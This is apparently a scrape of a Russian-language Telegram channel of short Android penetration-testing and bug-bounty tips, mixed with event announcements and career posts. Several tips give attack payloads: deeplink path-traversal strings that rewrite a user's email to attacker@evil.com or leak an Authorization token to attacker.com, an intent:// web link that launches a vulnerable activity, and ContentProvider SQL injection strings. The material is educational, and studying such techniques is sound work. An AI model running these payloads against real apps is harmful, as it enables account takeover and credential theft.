В мобильных приложениях тоже встречаются CSRF. И не только в WebView. Небезопасная обработка диплинков вместе с path traversal вполне может привести к выполнению "полезных" действий от имени пользователя. А в некоторых случаях, и привести у захвату пользовательского аккаунта.
Немного утрированный пример: есть диплинк вида
Более реальный пример: переход по диплинку
#aht
Немного утрированный пример: есть диплинк вида
myapp://payment/new/{card_num}
, после перехода по которому, приложение выполняет запрос POST https://server.com/api/payments_by_card/{card_num}
. Указав вместо номера карты полезную нагрузку вида ../users/email?new=attacker@evil.com
можно изменить email пользователя. Более реальный пример: переход по диплинку
myapp://orders/{id}
приводит к вызову метода GET https://server.com/api/orders/{id}
. Если на этом же сервере у нас есть open redirect, то можно составить такую полезную нагрузку: ../auth?redirect_uri=attacker.com
и в логах сервера злоумышленника окажется токен, который цепляется к запросу в заголовке Authorization
.#aht
На прошедшем Positive Hack Days меня угораздило дать интервью автору канала Security by Xyurity, где я как обычно рассказываю что надо много работать, читать хорошие книжки и слушать маму. Короче ради меня вообще не стоит это смотреть 🙈. Но кроме меня, там есть много интересных людей, советы которых могут оказаться более полезными для начинающих специалистов чем мои. В общем, получилось местами забавно и посмотрев весь видос не считаю, что зря потратил время.
YouTube
13 ДОБРЫХ ХАКЕРОВ | Большое интервью со специалистами по информационной безопасности на PHDays 12
На Positive Hack Days 12, ведущий рубрики «Technical» Николай Анисеня встретил «13 добрых хакеров». Вас ждут 13 мини-интервью с мощными специалистами кибербезопасности.
ССЫЛКИ НА TELEGRAM-КАНАЛЫ ЭКСПЕРТОВ В РОЛИКЕ:
Николай Анисеня https://t.me/xyuriti…
ССЫЛКИ НА TELEGRAM-КАНАЛЫ ЭКСПЕРТОВ В РОЛИКЕ:
Николай Анисеня https://t.me/xyuriti…
Если для эксплуатации уязвимости нужно передать
#aht
Parcelable
класс в intent-е, то есть пара способов это сделать. Представим, что activity ожидает модель User
, которая лежит в пакете com.myapp.xxx
. Можно создать в эксплойте такую же структуру пакетов, и класс с таким же названием и необходимыми полями. Чтобы не писать реализацию сериализации руками, то можно воспользоваться плагином и добавить к созданному классу аннотацию @Parcelize
. Но иногда классы бывают сложными или их требуется несколько сразу. В этом случае проще взять из целевого приложения .dex
файлы с этими классами, положить их в assets и работать с ними через DexClassLoader
. Пример здесь.#aht
Эксплуатировать IPC уязвимости можно не только из стороннего приложения, но и из веба. Для этого нужно создать на странице специальную ссылку, нажатие на которую приведет к отправке intent-а целевому приложению. По этому механизму существует средней паршивости документация, но проще использовать чит-код позволяющий перегнать любой intent из вашего эксплойта в web-представление - метод toUri:
val intentUri = Intent().apply {В результате, в
data = Uri.parse("myapp://test")
setPackage("com.victim.app")
setClassName("com.victim.app", "com.victim.app.VulnerableActivity")
putExtra("zahek", "payload")
}.toUri(Intent.URI_INTENT_SCHEME)
intentUri
окажется ссылка вида intent://test#Intent;scheme=myapp;package=com.victim.app;component=com.victim.app/.VulnerableActivity;S.zahek=payload;end
, которую уже можно использовать на странице:<!DOCTYPE html>#aht
<html>
<body>
<a href="intent://test...">Click here!</a>
</body>
</html>
Очередной атракцион невиданной щедрости (ага...) от VK: увеличение выплат за server-side баги в два раза. Но не за все подряд, а только за программу "Почта, Облако и Календарь". Похоже ребята, решили, что новый релиз вышел слишком хорошим и в нем нет багов, а может в эту программу просто никто не репортит и надо подогреть интерес 🙃 В любом случае я не рекоменую вам ломиться на ту серверную часть, которая обслуживает веб-интерфейс. Там багов нет. Я проверил 😎 А вот зайти со стороны мобильного приложения, использовав его как трамплин - очень даже рабочий подход. Кто первый раз, рассказываю: распаковываем апу jadx-ом, ищем там по ключевым словам карета превратится в тыкву выплаты станут прежними.
@(GET|POST)
, попутно загоняем апу под проксю и начинаем нажимать все кнопки сразу. На сервер начинают уходить какие-то запросы. Про скрытые параметры узнаем из найденного в мобилке API или используем x8. Дальше пихаем кавычки во все поля, фаззим ручки, грузим файлики странного содержания. В итоге крит, репорт и 7.2 ляма вечно красных рублей у вас на картоне. Авторская методика © Сто раз так делал. Всем удачного хантинга и помните - 30 июля, ровно в 00:00 Standoff365
Почта, Облако и Календарь Mail.ru · Bug Bounty
Standoff 365 Bug Bounty — платформа для поиска уязвимостей за вознаграждение и самый быстрый способ убедиться в надежности своей IT-инфраструктуры с помощью тысяч сильнейших хакеров.
Сегодня расскажу про одну мелочь, которую хорошо знают разработчики, но порой упускают из внимания хакеры (нет, не я 😋). Начиная с Android 11 (API 30), система больше не позволяет получать список всех установленных пакетов, да и вообще работать с каким-то конкретными пакетами напрямую. Чтобы это пофиксить в своем тулинге или эксплойтах достаточно выставить разрешение
#aht
QUERY_ALL_PACKAGES
и все магическим образом заработает снова. Правда с таким пермишеном вас скорее всего не пустят в Google Plaу, но вам это и не надо. Вы же не разработчик какой-нибудь ;) Но если туда по каким-то причинам все же хочется, то вместо этого пермишена, нужно в блоке <queries>
объявить те пакеты, с которыми нужно работать. Это уже больше подходит для целевых атак на конкретные приложения чем предыдущий способ. Чуть больше информации об этом механизме можно получить здесь.#aht
Понедельник - день постов. Можно выложить все сразу и потом спокойно работать всю неделю =) Наконец-то дописал write-up по конкурсу на взлом мобильного банка в рамках PHDays 12. Получилось объемно, но надеюсь, что вам понравится 👨🏻💻
Хабр
Какие баги мы заложили в мобильный банк на PHDays 12: разбор конкурса $NATCH
В мае в центральном парке Москвы — в Парке Горького — отшумели яркие Positive Hack Days . Впервые за 12 лет форум по практической кибербезопасности, ранее объединявший только экспертов по ИБ и этичных...
Приложение может вести себя по-разному в зависимости от приходящих push-сообщений. Это может быть какая-то особая реакция на скрытый параметр, который в обычной ситуации никогда не присылается, а оставлен только для разработчиков. Или оно может переключаться в другой режим работы при получении какой-то особой полезной нагрузки. Чтобы быстро и без заморочек протестировать все эти варианты можно использовать локальную отправку пушей приложению через adb команду
#aht
adb shell su -c "am broadcast -a com.google.android.c2dm.intent.RECEIVE -n chat.rocket.whitelabel/com.google.firebase.iid.FirebaseInstanceIdReceiver --es "param1" "payload1" --ez "param2" true
. Она позволит быстро проверить все гипотезы и освободить время на поиск уязвимости на отправку произвольных пушей целевому приложению 😉#aht
Вокруг много всякой IoT-ни c bluetooth, которая может быть поломана протестирована на безопасность одним пакетом =) Можно использовать штуки вроде BIAS, но это же надо пейпер читать. Есть способ проще - ставим приложение nRF Connect (
⚠️ Пара моментов:
1. Запись некорректных значений в характеристику может потенциально испортить устройство
2. Заигрывание с чужими устройствами может привести к уголовной ответственности, поэтому не ломайте чужие умные розетки. Только свои!
#aht
no.nordicsemi.android.mcp
) и начинаем экспериментировать с BT устройствами вокруг. Оно позволяет писать и читать GATT характеристики. ⚠️ Пара моментов:
1. Запись некорректных значений в характеристику может потенциально испортить устройство
2. Заигрывание с чужими устройствами может привести к уголовной ответственности, поэтому не ломайте чужие умные розетки. Только свои!
#aht
При исследование системного, а также всякого специфического софта под Android, бывает что классы которые использует приложение, физически в нем отсутствуют. В этом случае их стоит поискать внутри
#aht
/system/framework/framework.jar
и обычно этого достаточно. Если не повезло, то путь получится более длинным. Любыми доступными способами выполняем команду env
и смотрим на jar-ники в переменных DEX2OATBOOTCLASSPATH
, BOOTCLASSPATH
, SYSTEMSERVERCLASSPATH
. Класс должен найтись в одном из них.#aht
Media is too big
VIEW IN TELEGRAM
@N2R2D2 уже какое-то время пилит штуку для обхода проверок SafetyNet и Play Integrity API. Проблема в общем-то в том, что DroidGuard, который обеспечивает прохождение этих проверок нельзя так просто взять и завести везде где хочется. Собственно проект и состоит в том, чтобы сделать серверную эмуляцию DroidGuard VM и реализовать инструмент способный патчить локальные хэндлеры для прохождения всех проверок. Пока это все в активной приватной разработке, но в какой-то момент, по заверениям автора, должен появится репозиторий со всеми кишками. Если кто-то хочет помочь в разработке или просто позадавать вопросы, то пишите автору в тг.
⚡️Внезапная, общеобразовательная активность на канале!
Завтра (27.07), в 19:00 (MSK) проведем стрим про уязвимости в Android приложениях.
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так неохотно принимают "мобильные" баги
Как обычно - половина пользы от таких мероприятий это толковые вопросы из зрительного зала. Поэтому приходите их задавать.
Завтра (27.07), в 19:00 (MSK) проведем стрим про уязвимости в Android приложениях.
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так неохотно принимают "мобильные" баги
Как обычно - половина пользы от таких мероприятий это толковые вопросы из зрительного зала. Поэтому приходите их задавать.
YouTube
Что сдать на ББ чтобы не отправили в спам 😎
Внезапная, общеобразовательная активность на канале!
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так…
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так…
С вашего позволения, я не буду редачить стрим и вырезать оттуда некоторые проблемы со связью которые были в начале. Желающие посмотреть - промотайте +5 минут и дальше будет ок. Благодарю всех кто пришел и задавал вопросы.
Актуальная ссылка: https://www.youtube.com/watch?v=DAHdYrSIhp8
Актуальная ссылка: https://www.youtube.com/watch?v=DAHdYrSIhp8
YouTube
Что сдать на ББ чтобы не отправили в спам 😎
Внезапная, общеобразовательная активность на канале!
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так…
Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так…
Если в приложении используется SQLCipher, то посмотреть содержимое БД без пароля будет невозможно. Но даже если пароль удалось добыть, то базу на этом пароле еще надо расшифровать. С этой задачей легко справляется SQLiteStudio. Добавляем новую базу, в диалоге добавления выставляем
#aht
Database type
как SQLCipher
, пишем пароль и все магическим образом открывается.#aht
SQL инъекции в Android приложениях можно встретить не часто. Причин тому много. Разработчики поумнели, Google со своим Room-ом подтянулся. Так недолго и забыть как инъекции вообще эксплуатируются. Вот пара типичных пейлоадов для ContentProvider-ов:
💉
💉
А по ссылке можно найти чуть более экзотические варианты, которые подойдут для более сложных случаев.
#aht
💉
* from sqlite_master where type='table'--
(для projection)💉
1=1) union select name,2,3,4,5,6,7 from sqlite_master where type='table'--
(для selection/where)А по ссылке можно найти чуть более экзотические варианты, которые подойдут для более сложных случаев.
#aht
Иногда можно столкнуться с такой неприятной вещь как TLS Fingerprint, но еще более неприятно, когда провал проверки сопровождается многочасовым баном. Бороться с этим можно несколькими способами.
1. Использовать расширение Awesome TLS для Burp Suite. Там можно даже выставить кастомный fingerprint чтобы все было совсем хорошо. Но расширение работает весьма неторопливо и не всегда стабильно
2. Перехватывать трафик прямо на устройстве через PCAPDroid и перенаправлять его куда-то еще. Пример для Wireshark:
3. Также иногда с этим справляется Charles, но это не точно.
А если вам просто нужно отправить какой-то запрос на хост и не спалиться по фингерпринту, то можно попробовать использовать
#aht
1. Использовать расширение Awesome TLS для Burp Suite. Там можно даже выставить кастомный fingerprint чтобы все было совсем хорошо. Но расширение работает весьма неторопливо и не всегда стабильно
2. Перехватывать трафик прямо на устройстве через PCAPDroid и перенаправлять его куда-то еще. Пример для Wireshark:
curl -NLs http://192.168.1.12:8080 | Wireshark -k -i -
3. Также иногда с этим справляется Charles, но это не точно.
А если вам просто нужно отправить какой-то запрос на хост и не спалиться по фингерпринту, то можно попробовать использовать
curl
прямо в консоли девайса.#aht
Если попалось приложение с библиотекой Navigation от Google, то можно очень быстро найти все диплинки, которые обрабатывает приложение. Для этого ищем по ключевому слову
#aht
<deepLink
и получаем красивый список со всеми параметрами и типами данных. Но этот фокус работает только если навигация реализована в XML файлах. А так бывает не всегда, и некоторые особо увлеченные разработчики делают все в коде.#aht
В экосистемах приложений часто встречается такая практика как кастомные разрешения. Некое "главное" приложение объявляет разрешение вроде
#aht
my.cool.app.READ_STORAGE
. чтобы другие приложения из той же экосистемы могли его использовать. Если protectionLevel
такого разрешения пустой или выставлен в normal
, то все круто - берем и пользуемся. Но чаще всего там стоит signature
, что уже является некоторой проблемой. Но signature
- не приговор! У нас же экосистема! А значит довольно большая поверхность атаки. Первое, что надо сделать - найти все приложения, которые запрашивают это разрешение. Самый простой и незамысловатый способ получить эту информацию - drozer. Ставим все приложения вендора на девайс, подключаемся и выполняем команду run app.package.list -p my.cool.app.READ_STORAGE
. В ответ получаем список приложений которые нужно взломать чтобы получить заветные права.#aht
Часто ли разработчики полностью переходят в информационную безопасность? Случается 😉 Набросал немного своих мыслей на этот счет и попытался показать альтернативный путь развития для уже состоявшихся разработчиков. Приятного чтения!
(не)Уникальный опыт
Путь программиста: альтернативный сценарий
Я уже как-то писал свои соображения на тему того, как может выглядеть путь развития программиста. С тех пор прошло больше трех лет, и несмотря на то, что статья не потеряла актуальности я решил ее …
В приложениях часто можно найти dev/stage сервера, которые используются на этапе разработки. Если повезло, то в приложении также есть дебаг-панель позволяющая удобно переключаться между этими серверами, что неплохо расширяет поверхность атаки. Но если дебаг-панели нет или она по каким-то причинам недоступна, то переключить приложение на такой сервер можно прямо в BurpSuite. Идем в настройки proxy, выбираем вкладку
#aht
Request handling
и в поле Redirect to host
указываем адрес нужного сервера. Все. Ничего не надо пересобирать и заниматься прочей ерундой. Способ не идеален, т.к. приложение может ходить на несколько серверов сразу, но в большинстве случаев этот подход здорово экономит время.#aht